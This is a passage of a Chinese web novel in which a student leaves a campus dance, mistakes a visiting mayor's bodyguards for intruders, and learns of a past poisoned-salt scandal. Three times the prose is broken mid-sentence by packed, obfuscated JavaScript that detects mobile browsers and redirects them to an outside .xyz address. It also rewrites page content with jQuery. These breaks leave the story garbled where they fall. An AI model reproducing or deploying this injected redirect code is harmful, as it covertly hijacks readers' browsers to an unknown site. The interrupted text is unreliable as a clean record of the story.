“哦,是你们。”音乐老师开口说,“非说要听电吉他,喏,这不是给你们取来了。” 闻言,庄森芽看向那几个人。 是他们把老师叫去那间音乐教室的吗? “是啊,杜老师,我们等您奏乐很久了。”韩时朔似乎认识这个灰发的男人,十分亲切地说。 一行人往舞会场地的方向走,庄森芽被自己的朋友们包围着。 “没事吧?”温枣问她。 “他没对你做什么吧?”费洛也忙不迭地询问。 庄森芽摇摇头,表示自己一切都好,“就是我离开的时候他好像还很生气……” 费洛有些愤愤不平,“谁在乎他生不生气啊。” 温枣也附和,“就是就是,他那么对待你,你不生他的气就不错了。” “关键是我怕他的怒火牵连到你们……”庄森芽坦白了自己的心思。 这时候,汪素文贴了上来,像一只柔软的小动物一样走在她的身侧,用手臂挎着她的,“没事的,大家都是成年人啦,做决定之前已经想好后果了,我们会照顾好自己的。” “素文……”庄森芽有点感激地盯着自己的舍友。 另一边,鲜少开口的何元楚推了推眼镜,发表了他的言论,“大名鼎鼎的学生会主席要是因为这么一点小摩擦就随意开除成员,那只能说明这个人人品有问题,他这么做会消耗他的气运,将来只会走下坡路。” 温枣转头冲向何元楚,一脸感兴趣,“哟,元楚,你还懂这些呢?” 费洛插嘴说:“枣儿,你别看他一本正经,其实脑袋里装了可多稀奇古怪的东西了。” “你不说话没人把你当哑巴。”何元楚对自己的雏鸟周伙伴怒目而视。 “元楚元楚,那你会看手相吗?给我们都看看呗!”温枣兴致大发。 “我不会……” “楚弟你看我这个手相是不是将来要暴富啊?”费洛伸开自己的手掌,凑到了何元楚的眼前。 何元楚一掌挥开了他,“我看你将来桃花运全无。” 听这么一句,没想到费洛却是睁大了眼睛,一脸开心,热烈地抱住一旁的汪素文,像抱一个巨型的玩具娃娃,“意思就是我和素文会一生一世一双人?谢谢你的预言,楚弟,你真是个好人!” 被抱住的汪素文笑得又甜又可爱,拍拍对方的手臂,像是在安抚情绪激动的大型宠物。 “啊!!我也要看,也给我看看桃花!”看到费洛那边出了结果,温枣也连忙递上了自己的手掌,还不忘抓着庄森芽的手排队下一个,“我将来的对象帅不帅?学习好不好?他是做什么的?家里几口人?还有你帮森芽也看看,她什么时候脱单——元楚,你说话呀元楚,干嘛把眼睛还闭上了?” 何元楚明显无语了,他快步走了两步,和身后几人拉开了距离。 “你干嘛去?”温枣问他。 “请你们和我保持距离。”何元楚背对着他们说,“我有潮人恐惧症。” 几个人你看看我我看看你,在场集齐了黑白粉黄四种发色,身上都套着惊世骇俗的晚礼服,乍一眼看上去,的确是有点不那么亲切,让人不敢接近。 伙伴们大笑着,完全忽视了何元楚的抗议,又追了上去,把他拉回了这个所谓的潮人群体。 “就是因为太潮了,所以需要一点朴素的中和!”费洛搂住何元楚的脖子,大大咧咧地说。 “你说谁朴素呢!?”何元楚今天一身黑色西服,眼睛换了个金边的,头发也用发胶定型,显然是精心打扮过的,当下可受不了费洛这么贬低他。 庄森芽看着眼前闹哄哄的伙伴们,心情不知道好了多少,刚才和裴佑哲对峙的紧绷情绪也已经烟消云散,一种平和充斥着内心。 就算被学生会主席那般针对,被校园里的一部分人千夫所指,她还是有这么多支持自己的伙伴们。 只好这些人一切安好,就别无他求了。 遇到他们,结识他们,是她上大学以来最幸运的事情之一。 “看到姐姐身边有这么多在乎你的伙伴,我就放心了。”不知何时,韩时朔来到了庄森芽的身边,冲她微笑,就仿佛身体里装着什么心灵探测器,时刻都能感受她情绪的高涨、平和与低落。 庄森芽已经对韩时朔的洞察力见怪不怪了,这个男孩上辈子可能是什么森林精灵一类的,不需要言语也可以体察旁人的内心。 她想起刚才在音乐教室的经过,朝他问:“时朔,老师是你叫来的吧?” “姐姐一直不从教室里出来,我有点担心里面的情况。” “谢谢你。”她真心诚意地感激。 “这是我应该做的。”他说着,接过庄森芽手里的电吉他,似乎是看出她右手的姿势有点别扭,视线落在那有着明显勒痕的手掌上时,眼神是有些暗淡的,“不过,我没想到,是这样一个人在纠缠姐姐,难怪你说身边都没有人敢接近你。” 庄森芽想起他不久前说的那番‘挡桃花’的话,“……你的意思是,是因为我跟佑哲牵扯上了关系,所以别人因为害怕所以都不敢靠近我了?” “是的,这是种十分常见的孤立。”韩时朔十分确信地说,“所以得知姐姐身边还有这么多好朋友的时候,我很欣慰,起码你没有真的像他谋划的那样孤立无援。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“不是的,还有人帮我。”她说。 韩时朔眨眨眼睛,洞察人心的眼睛又开始闪烁,他替她理了理围巾,目光微微坠着,“……是和我一样,执着又不顾一切的人?” 庄森芽深吸了一口气,几度想开口,然而还是保持了沉默,眉目间是若有所思的神色。 韩时朔观察着她的反应,失落了一瞬,但很快坦然笑了笑,“姐姐,你还说你是单身。” 听到对方埋怨的口吻,庄森芽苍白地辩解,“怎么不是……” “心有所属就不算单身了。”他说,“两情相悦就更不算。” 热闹的舞会还在继续,人们像是不知停歇为何物,誓要用歌声去触碰明日的黎明。 韩时朔将她送到了外国语校园门口,庄森芽破费了一把,明明可以坐地铁回去,但还是在手机上叫了一辆车。 在车到来之前,韩时朔便站在旁边陪她。 裴佑哲在那场矛盾之后就没有再现身了,他突然出现,又突然销声匿迹,仿佛来舞会一场,只是为了和庄森芽发生这么一次争吵——说不定他真的就是为了吵架而来的。 总而言之,他没有再出现,于是一切也都归于平静。 没过多久,车灯像是灯塔的光,照亮了他们脚前的一片土地,庄森芽叫的车到了。 她坐了上去,韩时朔扶着车门。 “姐姐,“他呼唤她,路灯在他的眼中注入了一片柔情的湖泊,“将来有任何需要的话,随时联系我。” “嗯,好的,一定。” 不知为何有点低落。 她告诉自己,这不是告别,只是暂时的分别,她将来还会再见到这个有灵性的男孩,就像老朋友一样,在咖啡馆、在下午茶餐厅,和他聊聊最近发生的一切琐事。 “还有,多发点动态,我会给你点赞。”在关门前,韩时朔补充道,“……我会活在你的动态里。” 话音落下的时候,车门也关上了。 司机确认了终点,车辆启动起来。 庄森芽回过头去,看到韩时朔在朝她招手。 她也回应他,隔着一层结霜的玻璃。 车辆渐行渐远,然而男孩还是站在原地,迟迟不肯离去。 看着那人的身影,庄森芽突然有种强烈的感觉。 这大概是最后一面了。 虽然他说有需要再联系,还说会关注她的动态。 但看着他止步于路灯下的模样,她知道, 这个十分懂得进退男孩不会再来打扰她了。 也再不会主动出现在她的生命之中了。 147. 家门口的异样 ## 车辆在星野下驶过,来到了静谧的小区门口。 庄森芽思考着怎么和爸妈讲她打算做的事情,边沉思边向单元楼的方向走。 直到来到单元楼楼下,一辆黑色的轿车挡住了眼前的路,她这才从沉思中回神,留意起周围的景色。 暗夜之下,楼门口下停了两辆漆黑的豪车,虽然是豪车,但造型却十分低调,似乎并不希望引起旁人的注意。 车面一尘不染,玻璃上贴着厚实的防窥膜,一个身着西服的高大男人站在其中一辆车旁,他戴着墨镜,露出的下半张脸十分严肃,身板壮硕笔直,像火车站的站岗警卫。 注意到了归家的庄森芽,男人转过头来,似乎有透着寒意的目光从墨镜后面刺出来。 庄森芽的心脏一下子就提到了嗓子眼。 这是个什么人……为什么会站岗一样守在她家楼下? 不敢从对方身旁经过,生怕被邪恶的魔爪抓进漆黑的车厢内,在夜黑风高时直接上演一场离奇失踪,于是庄森芽绕了个路,从另一边提供给小推车的斜坡道靠近单元门。 她目光紧盯着男人,男人也盯着她。 他头转身体不转,活像个不带感情的机器。 这让人更加紧张了。 为什么一言不发地盯着她啊?这也太怪了! 步伐越来越快,就仿佛身后有什么吃人的野兽在追,她咻一下钻进单元门,冲进电梯,按下楼层数,啪啪啪不停戳着关门键。 电梯门轻轻关上了,铁皮箱子开始上行,这才松了一口气。 简直要吓死个人,大晚上的,守着楼门口不让路,一句话都不说,一脸深沉,还带着一副黑到连眼睛都看不见的墨镜…… 有问题,绝对有问题。难不成是什么□□组织被她碰上了? 毕竟,谁家正常人晚上戴墨镜啊!? 等等,也许……是个盲人? 可是从他紧盯着她不放的样子来看,不像是瞎的…… 不管如何,这人一看就很危险,居然混进了小区来,必须联系保安告知他们这件事。电梯里手机信号不好,她打算出去就联络安保人员。 叮—— 6层到了,电梯门缓缓向两侧敞开。 狭窄的走廊里,一个戴墨镜的肌肉男站在电梯门口,和楼下那个几乎是同一个模子里刻出来的。 他站在外面,庄森芽站在电梯里,两人面面相觑。 “……” “……” 没有人进出。 三秒后,电梯门又缓缓关上了。 电梯停在六层,一动不动。她站在轿厢里,也一动不动。 半秒后,庄森芽爆发出无声的尖叫。 啊!!! 这是做梦做梦做梦做——梦!! 她被包围了?她被包围了! 谁派来的人?裴佑哲?裴正?还是谁? 没空细想了,现在第一件要做的是——逃! 庄森芽立刻按下一层的按钮,而后瞬间就后悔了。 不对……楼下还有一个在蹲点呢! 哒哒哒,她把6层以下的所有楼层全都按了一遍,为了防止对方看出来她是在哪一层下了电梯。 到5层的时候一个疾冲而出,来到了泛着潮湿气息的楼梯间里。 墙边立着一个弃置的双人床床垫,她躲进了后面,屏息地聆听周围的声音,在确认没有接近的脚步声后,哆哆嗦嗦掏出自己的手机,第一时间选择给老爸打电话。 电话很快被接起来,她压低了声音,有些忧心忡忡地问:“爸,你和妈在哪?” 对面传来庄洪成的声音,“我们?我们在家呢啊。” “别出门!”她警告说,尽量用不大的声音表达事态的严重性,“家门口有坏人,你们千万别出来,我马上就报警。” “啊?”庄洪成发出困惑的声音,然后是一连串脚步声,“我没看到什么坏蛋啊。” 猜测老爸大抵是在通过猫眼向门外观察,庄森芽谨慎地分析,“可能是藏起来了,总之你们先在家里待着,千万不要出来。” “闺女你在哪呢?” “我就在5层的楼梯间里,没事的,这里很安——” 她话没说完,听筒里传来了开锁的声响。 “爸!??”她几乎要惊跳起来。 说了别开门为什么还要开门!? “爸你——”她从双人床垫后面艰难地移动出来,拔腿就往楼上跑。 与此同时,听筒和楼梯间里同时响起了庄洪成雄厚的嗓音,“老弟,你看到什么可疑的人了吗?” 紧接着,是一个低沉但礼貌的声音回答他,“没有。就是刚才有个小姑娘好像走错楼层了。” “噢,这样……” 庄森芽立起耳朵,那低沉厚实的声音怎么听都像是那个墨镜男发出来的。 “爸你在和谁说话?”她谨慎地问。 庄洪成似乎把脸又贴近手机,声音在听筒里洪亮起来,“闺女,跟你老爸我玩恶作剧是不是,哈哈,我上当了,这回你赢一分。” 谁玩恶作剧了!? 她感觉自己要疯了,在5层与6层之间的楼梯平台上抓乱了头发,压低嗓音说:“你眼前那个就是坏蛋……!赶紧回家关门!” “啥?” “他,包括楼下还有一个,是团伙作案,我们家被盯上了!” “团队、呃,作案……?” “算我求你了,你把门关上吧,快点回家躲起来!” 对面安静了半晌,可迟迟没有关门声传来。 庄森芽急得跳脚,心一横,继续火速往上爬台阶,再过一道门,就是家门口的楼道了,她当下恨不得立刻冲过去替他合上那扇该死的门。 心怎么能这么大?妈还在家呢!就这么向楼道里可疑的陌生人搭话,门户大开毫无防备—— 精神极度紧绷的时候,庄洪成的声音再度响起。 “闺女啊,你是不是误会了?”他说着,声音里渐渐染上憋不住的笑意,像是逐渐想通了什么,“门口这个是……他是——哈哈哈……” 老爸的笑声让庄森芽有点懵,她手脚僵住了,以一个滑稽的姿势停在楼梯半截。 紧接着,一个脚步声靠近楼梯间的门,庄洪成的笑声也越来越近,不再需要无线电的传输。 防火门被打开,中年男人看向他慌张的女儿,眼角笑得几乎要挤出泪来,“来,介绍认识一下。” 庄洪成侧了侧身,让出一个身位。 而后,一个魁梧壮硕的人影出现在了他的身旁。 那正是刚才在电梯门口和庄森芽面面相觑的墨镜男。 庄洪成拍了拍男人的肩膀,说道:“这位是小刘,你望叔的专职保镖。” 那魁梧的男人摘下墨镜,露出一双清澈的眼睛来,整个人的面部一下子就柔和了,他朝楼梯上僵住的人点点头,“你好。” 小刘……望叔……? 庄森芽迷茫地看着眼前的两个人,有点迟钝地说:“……谁?” “望叔呀,闺女,你不记得了?”见女儿懵懂的模样,庄洪成夸张地挥舞手臂,解释起来,试图唤醒她的记忆,“隔壁西川市市长机承望。” “……市长?” “是呀,他在咱家呢,小刘和楼下的小郑都是他的保镖。” “……” “真不记得啦?你望叔小时候还抱过你呢。” 她听出一丝不对劲,皱眉问:“小是指几岁?” “三岁。” 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853888|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪能记得住啊……?! “唉,我闺女忘了,哈哈。”庄洪成冲旁边的保镖大大咧咧说。 这叫小刘的保镖陪以腼腆的一笑,脸部有点僵硬,就像是因为经常需要保持狠厉的表情,而不知道怎么微笑了一样。 仔细看,他可能也就二十五六岁,因为皮肤晒黑了所以显得凶,脸色是风吹雨打的沧桑。难怪庄洪成叫他‘老弟’,乍一眼看过去,说他四十她都信。 终于有点相信这人不是哪里来的□□,庄森芽慢慢驱动脚步,往6层楼爬。再抬头跟他们说话她脖子就要断了。 魁梧的保镖给他们让出了路来,他把墨镜又戴了回去,回到他电梯口的岗位上,下一刻,没人注意的时候,他脸上的笑容唰一下就垮下去了,又变得不苟言笑,就仿佛刚才让他咧开嘴角有多难为他似的。 意识到刚才是个乌龙,庄森芽有点难为情,原来是她误会了尽忠职守的大哥啊不是小伙。 还好没当着人家的面喊救命。 现在看来,楼下的那个叫‘小郑’墨镜大哥也是无辜的,像机器人一样站在单元楼门口,只是为了监视进出的人群,确保市长的安全。 当下,保镖尽职尽责立在电梯门口,她则和庄洪成一起进了公寓门。 “爸,隔壁市长来咱家干嘛?”玄关换鞋的时候,庄森芽低声问他。 她对这个隔壁西川市的市长没什么印象,就像庄洪成说的,他在三岁的时候抱过她,就代表那已经是十几年前的事情了。 “他娘腿脚有点毛病,特意跑过来让我看看。” 庄森芽听了,有点诧异,“你跟市长关系这么铁吗。” 虽然不是本市的。 “你爸我铁哥们多着呢。”庄洪成的表情满是自豪。 进入客厅,隐约听到工作间里传来了交谈声。这个工作间是夫妻俩在三室一厅的房子里好不容易挤出来的办公场所,经常会有私下问诊或者复查的患者到访。 庄森芽跟着庄洪成往工作间走,她倒要看看这个小时候抱过她的市长长什么模样,排场这么大,来看病都要好几个保镖跟着。 进了门,明亮的工作间里簇拥着好几个人影,一时让她有些眼花缭乱。 这十平米左右的房间里居然挤了这么多人。 一个精密的带着机械臂的仪器占据了大半空间,机械臂下方是一个供患者坐着的座椅,而当下,就有一个白发苍苍的老妇人坐在那上面,她应该就是庄洪成所说的隔壁市长的母亲。 一旁的仪表盘上,祁欢背对着门口,似乎正在上面调整的参数,忙到没注意女儿的出现。 一个梳着背头的中年男人站在最不碍事的角落,他头发茂密,但色泽却没有胜过时间,缕缕银丝穿插在黑色之间,透露出他历经过的岁月之几何。他身穿合身的藏蓝色西装,此刻正注视着机械臂下的老妇人,目光是安然且有耐心的。这个应该就是隔壁西川市的市长机承望了。 另外还有一个身影跪在老妇人的身侧,一手托起她细弱苍老的小腿,上下转动着,似乎是在帮她试验着什么。 看到老妇人腿旁的那个人时,庄森芽一下子就愣住了。 那人的神情十分专注,跪在地上,没有穿外套,马甲因为动作而紧绷着,腰线有力而紧致,就像是蓄势待发的猎豹。 不会吧……诺特斯? 他怎么在这? 他不应该在不知道什么地方,继续监视裴家人的动向吗?怎么回家里来了…… 专注的人并未注意到门口呆愣的庄森芽,他手上的动作是轻柔的,全神贯注地扶着老妇人的腿,似乎在为她寻找小腿有问题的角度。 庄森芽愣愣地看着,完全想不通了。 这是在诊治患者吗,为什么诺特斯在做理应是老爸做的事情…… 148. 有时是狡猾的狐狸 “机子,我闺女回来了。来,闺女,这是你望叔!”庄洪成挤进了这个已然水泄不通的工作间,顺便把庄森芽也拉了进去。 那身着藏蓝西服的中年男人转过头来,他眼睛的颜色有些淡,在光线的照射下变成了棕色,男人宽厚地笑起来,一时间周身的空气仿佛都溢满了轻松平和的气息,让人无端想到海面。 “都长这么大了。”机承望朝庄森芽伸出了手来,要跟她握手。 庄森芽原还在打量着专注的诺特斯,现在却不得不将注意力转移到市长的身上。同时出现了两个陌生人和一个意料之外的人,只觉得眼睛有点不够用了。 突如其来的握手邀请让她有点受宠若惊,连忙递手上去。这只手被松紧适中地握住,坚定地晃了晃。 这一瞬间,她产生了一种强烈的被尊重的感觉。 自己只是个高中毕业不到一年的普通大学生,并非什么风云人物,然而机承望却用大人的礼数对待她,并不把她看成是什么小孩子。 明明只是握了个手,她却莫名生出了愿意为对方无偿付出的想法,只为了回报这一次尊重。 这就是能成为市长的人吗……好强的感染力。 “已经上大学了?”他直接问她,而没有去问庄洪成。 “是的,我今年大一。”末了,她想了想,补充了一句,“……市长先生。” “叫我望叔就好啦,我跟你父亲是老相识了。” “你一年都不来见我一次,还老相识呢。”庄洪成玩笑说。 “我的情况你是知道的。”隔壁市长的表情十分无奈,似乎颇有苦衷。 就在这时,机械臂下的老妇人呻|吟了一声。“呃……” 一旁的诺特斯立刻停下了动作,问:“这里” 庄森芽的视线这才落回到那个人的身上,自从她进门之后,诺特斯似乎只在最开始的时候扫了她一眼,而后就专注于自己的事情了。 看他这幅自然而然融入的模样,不知道还以为是庄洪成把他招为了副手,让他在自己手底下干活呢。 ……等等,不会真的是这样吧。 “就是这,这里不得劲。”老妇人有些难为情地笑起来,似乎是不太适应一个年轻人在她面前卑躬屈膝地伺候,“走路的时间一长,膝盖就像扎进钉子了一样,疼啊。” “小诺,让我看看。”庄洪成凑上了前来,接替了诺特斯的位置。 庄森芽隐约听到了一个不太对劲的称呼。 老爸喊诺特斯什么? 小……小诺? 什么时候开始这么叫他的,还叫得这么亲切…… 在这短短的一周未归的时间里,这个家到底发生了什么啊? “之前去医院查的结果是半月板磨损吗?”庄洪成向机承望问道。 “是,磨损得不是很严重,但是妈还是疼痛难耐,最好的大夫来了都查不出是什么原因。”机承望回答。 “可刚才拍片看半月板好像已经没什么问题了,也没有弹响……”庄洪成露出迷茫的表情。 “关键问题是神经吧。”诺特斯从拥挤的工作室内部退了出来,不着痕迹地来到庄森芽的身旁,“应该是神经被压迫了,实际磨损并不是那么严重,只不过膝盖返给了大脑有误的信息,夸大了痛觉。” 庄森芽狐疑地盯着朝她凑过来的男人,眼神中一并递上去了好几个问题。 诺特斯的视线坠下来,他微微耸肩,似乎在表达这是不是个说话的好时机。 她戳了一下他的腰,表达不解和不满——她也弄不懂自己哪里不满,总之就是不满了。 诺特斯捉住她作乱的手,悄无声息地一并藏在背后,力道不大,但是也不让她挣脱。他脸上还挂着体面的笑,什么都没发生一样看向市长和市长母亲的方向。 两人就像是课堂上的小学生一样,在暗地里无声地做着小动作。 “真的吗,是神经的问题?”机承望向诺特斯确认着。 “是。”诺特斯的模样胸有成竹,似乎十分笃定,都没用上‘大概’或‘可能’一类的字眼,“不解决神经问题的话,就算磨损愈合了,也还是会产生痛感。” “的确,上次去医院之后,妈已经遵医嘱静养了很久,可疼痛却一点缓和的迹象都不见……”机承望若有所思地说着,片刻,他抬起头来,目光感激又真挚地看着道出问题所在的人,“说不定真的是神经的问题。多谢你,诺特斯,为家母尽心尽力地检查。” 诺特斯表现得像是上流社会的绅士,微微低头,露出谦逊的姿态,“能帮上忙是我的荣幸。” “我实在不知道该怎么回报你。” “这是我应该做的,市长先生,您只需要履行我们之间的约定,就算是对我最大的回报了。” 两人说着客套话,愣是听得一旁的庄森芽目瞪口呆。 本来,庄洪成对诺特斯的特殊对待已经够让她惊讶的了,现在隔壁市的市长居然也用无比感动的目光注视诺特斯,就仿佛把他当成了什么神医一样。 这更是让人讶异地合不拢嘴巴。 诺特斯……到底在她不在的这一周做了什么呀? 怎么会连隔壁市的市长都勾搭上了,约定又是指什么,他们在背后都谋划了些什么,达成了什么协议? 她怎么感觉自己有点脱节了…… “这样看来,是没有植入仿生部件的必要了。”在仪表盘上忙碌已久的祁欢终于得了空闲,解开了一些以防万一的束缚带,把老人家从座椅上扶了起来,“不做也好,那玩意需要开刀,遭罪。” “还得是小诺啊,真值得信赖。”庄洪成拍了拍诺特斯的肩膀。 “我只是在这方面懂些皮毛知识。” 谦虚全都叫他学去了。庄森芽腹诽。 她十分怀疑,诺特斯能够发现老妇人腿脚的问题所在,并不是因为有什么知识不知识,而是他在没人觉察的地方发动了‘共体’。 这是他的独门技艺,能获得重叠物体的状态信息,通俗点来讲,就是他碰哪就大概知道哪里有什么毛病。 不过她没办法理解的是,诺特斯为特意为隔壁市长的母亲提供这项‘服务’的原因是? 是有什么巴结机承望的必要吗…… 另一边,机承望把自己的母亲安置在了轮椅上,看来她是疼得真的很严重,连走路也做不到。 机承望:“大洪,欢嫂,我也不知道该怎么感激你们才好……” “嗐,都是兄弟,说什么煽情话。”庄洪成说。 那之后,机承望提出:难得见面,不如出去小聚一番,正好他也十分怀念上茂市老胡同里的一家饭馆。 外面天虽然已经黑了,但时间其实不算太晚,只是冬天的日光总是十分吝啬。 庄洪成问需不需要先把机母送去医院,机承望的母亲说不要因为她扫了兴致,她只要能坐着,膝盖就不会疼,正好也肚子也饿了,只要没人嫌弃她这个饭局她也是要参加的。 于是乎,一伙人热热闹闹又有了新的计划。 庄森芽原本以为没自己什么事,结果被祁欢喊了一声‘芽芽去换身衣服’,就知道自己逃不掉了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853889|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 现在她穿的还是舞会上的那身类机车服,可能在大人的眼里看起来没个正型,而马上要共同出行的人又是隔壁市市长,多少还是需要得体一些。 庄洪成招呼着让诺特斯也一起去,后者自然是没有拒绝。 诺特斯要去,她更是没有不去的理由了。 她还等着找机会问他这些天都发生了什么,他怎么会和隔壁市的市长也牵扯上关系。 于是钻进了自己的房间,翻箱倒柜从衣柜里选了身更为庄重的衣服。 把舞会那身脱下来的时候,有什么东西从口袋里掉了出来。她弯下腰去捡,发现那是一张精致的小贴纸,上面写着‘最想交往’四个字样。 原来是白天联谊会上贴条环节没有送出去的那张纸条,她几乎都快忘了。 顺手就想扔掉,可是顿了顿,最终还是把它放在了一旁的桌面上。 贴纸上的花纹别出心裁,显然是经过了精心的设计,文字所用的字体可爱风趣,颜色鲜明亮丽,看着令人心情愉悦。 暂时还没必要丢掉这么可爱的小东西……她是这么想的。 对,只是因为它很漂亮,并没有什么其他的理由。 而后,她把脖子上那条白色围巾摘掉,把它叠好,放进衣柜的角落,规规整整摆着,用其他的厚重衣物盖住了它,就仿佛要将它尘封起来,不打算再拿出来了一样。 再之后,她把要换的衣服堆在床上,它们是以黑灰色为主色调的,一条黑色的舒适长裙,配一件浅灰色的长款外套,再加上深灰色的围巾,整个人的庄重感一下子就有了。 换衣服的时候,客厅传来了片刻不歇的交流声,这也难怪,五个人凑在一起想没有话说都难。 “机子,说来你还没跟我说是怎么认识小诺的。”庄洪成沙哑豪迈的声音响起。 “我以为是你让他来找我的,大洪。”机承望说,不知为何,声音听起来有种调笑的意味。 “啊?我可没这么要求过……”庄洪成显然不明白是怎么回事。 机承望似乎不打算再逗他了,“我们是碰巧结识的,是吧,诺特斯?” “好像的确是这样。”诺特斯配合着市长含糊其词。 机承望又开口了,“说来,诺特斯和你们夫妻俩认识,才让我感到意外。” 祁欢在这时加入了交流,她压低了声音,但控制不住其中的雀跃,结果就是音量没减少多少,所有人都听得见,“诺特斯是我女儿男朋友。” 她说这话的时候似乎还带着一丝骄傲,末了,还不忘向当事人二次确认,“是吧,诺特斯?” “您女儿说是就是。”被问话的人主打一个不发表任何主观态度。 庄森芽原本已经换好了衣服,站在了自己卧室门口,就差按下把手推门而出。 然而这番交流却打了她一个措手不及,怎么看现在都不是一个出门的好时机。 老妈真的是……越来越会造谣了! 而且诺特斯也是,倒是稍微否定一下啊? 庄森芽只感觉被面前的这堵门封印了,迟迟无法打开它。 直到场外的交流转向了下一个话题,她才装作一个没事人的样子离开了自己的卧室。 一群人闹闹哄哄要离开公寓,堵在玄关。庄森芽悄然来到诺特斯身边,用指尖拧了一下他手腕上的肉,无声地瞪了他一眼。 诺特斯上身抽动了一下,脸上露出吃痛的表情,但什么声音也没发出来,低头迷惑地看向露出利爪的小野兽。 然而始作俑者已经扬长而去,留下一脸不解的他。 149. 隐情 楼下停着两辆低调的豪车,他们总共六个人,再加上两个保镖,坐上去刚刚好好,一个位置也不多。 庄洪成原本要把他的车开出来,但机承望说不用,坐在一起人多热闹。 于是乎,怎么安排这八个人就成了问题。 机承望肯定是要和他的老母亲同坐一车的,把庄洪成和祁欢夫妻俩拆开也说不过去,而几个大人自做主张说小年轻们也得坐在一起,于是乎,局面就变成了这个样子—— 庄洪成坐上了其中一辆车的主驾驶,抢走了原本属于保镖的职责。四个大人坐在一辆车上,把庄森芽和诺特斯以及保镖们安排在了另一辆车,说要给热恋中的小情侣留下一点空间。 庄森芽真是谢谢他们。 于是乎,她和诺特斯坐在后排,另外两个保镖们坐在前排,这俩黑西装的高大墨镜男像是铜墙铁壁一样,无言地启动车辆,定位,踩油门,沉默寡言,不苟言笑。 她自动自觉把他们当成了不会聆听的机器人,在车辆平稳运行起来之后,转头就向诺特斯发话,“好了,现在你可以解释了。” “解释什么?”他明知故问。 “不要装傻,你这些天都去做什么了,为什么会和西川市的市长唔唔唔——” 说到一半就被人捂住了嘴巴,诺特斯给她比了一个噤声的手势,下巴朝前方点了点,示意这里还有别人。 她不禁心想:居然连市长的保镖都信不过吗?究竟是怎样的勾当,居然这么神秘…… 摘掉了那人的手,庄森芽抱臂在胸前,一副不想理人的模样盯着窗外。 不说那就不说,反正早晚她会知道的。 车辆抵达了旧城区,这里正值最热闹的时候,街道上十分拥挤,但有十足的烟火气。 堵了将近二十分钟的车之后,终于来到了一家古典装修风格的饭店前,两只老虎头的滴水兽趴在屋檐上,目不转睛地盯着进入饭馆的客人。 机承望打发两个保镖自己去吃点东西,然而,当一行六人消失在了饭厅的楼梯间时,这两个黑衣的壮硕保镖还是守在饭厅门口,严阵以待,丝毫也没有挪动脚步。 来到二层,进了一个密闭的包厢,暖黄的光洒落下来,一幅有落日和大雁的海景图贴满了整面墙,使得这个房间里的人似乎身处于海滩之上。 几人落座下来,菜单轮流在每个人手中递转。 “似乎是很久没有像这样和你们吃饭了。”饭桌上,机承望颇为感慨地说。 庄洪成道:“你当上茂市市长那时,就忙得见不着人。被调去西川市之后,就更没有机会了。见一次难啊。” 祁欢把菜单递给了庄森芽,加入了谈话,“荣妹怎么没跟着一起来?” “你弟妹她还在西川市帮我打点事情,“机承望说,“等这边的事情忙完了,我也得早点回去,她是能干,但一个人还是担子太重了。” 听到这里,庄洪成似乎有话要说,他支吾了片刻,最终有点犹豫地开口,“机子,那年的事……还有人在找你麻烦吗?” 机承望似乎知道庄洪成指的是什么,目光垂落下去,半晌,又十分坚定不移地抬起来,“还是会有人不停地打控诉电话,不过,我都是让别人去接。” “要不干脆把手机号换了吧。”祁欢提议说。 机承望摇摇头,面色有些沉重,“不管是非因果,失去亲人的人总归需要有一个宣泄口,如果我的电话号码能成为这个纾解的闸口的话,那就让他们去吧。” 他话音落下之后,饭桌上陷入了片刻的安静。唯有机承望的母亲叹息了一声,摇了摇头。 拿着菜单的庄森芽表面上在看菜谱,实际心思完全在几人的谈话上。 什么情况……为什么大家都是这副表情?失去亲人?手机号?这是在说什么事情…… 她实在按捺不住好奇,朝诺特斯投去疑惑的视线,她觉得他一定知道些什么。 诺特斯原本在旁边斜着身子、跟着庄森芽翻动页面的节奏一起看菜谱,注意到她的视线之后,了然地拿出自己的手机,在那上面打了许多字上去。 没过多久,庄森芽的手机就嗡嗡响了起来。 她拿出来,看到诺特斯发来了一段解释。 「大概两年前,上茂市发生了一起非常严重的食品安全事件。 「每家每户都会用到的食用盐出了问题,毒性物质超标。虽然发现之后紧急发布了通知,逐一上门召回,但还是导致上千号家庭受到影响。 「其中更有十几个家庭被集体送进急救室,然而,从大到小无一生还。」 这些文字是如此平静,三言两语就将一场场悲痛欲绝的死亡铺陈开来。 庄森芽回想着两年前社会上发生的事,然而脑海里却是空白。 两年之前,她刚上高二,脑袋里只有学习,与外界可以说有着一道厚重的壁垒,不透光也不透风。 那段时间居然发生了这样的惨剧,她完全不知道。 就在回忆的时候,又有一条新消息发了过来。 「原本的上茂市市长机承望,因监管不利的罪名被撤职,发派到西川市」 「西川市和上茂市相比,经济发展完全不在一个水平,其GDP大概只有上茂市的二十分之一。发派到那里,基本代表再没有出人头地的机会。」 原来是这样……庄森芽心想。 两年前市长更替的消息她还是有点印象的,因为上课的时候老师提了一嘴。 而父母因为和这个机承望是老相识,所以才会关心他的现状…… 等等,老相识? 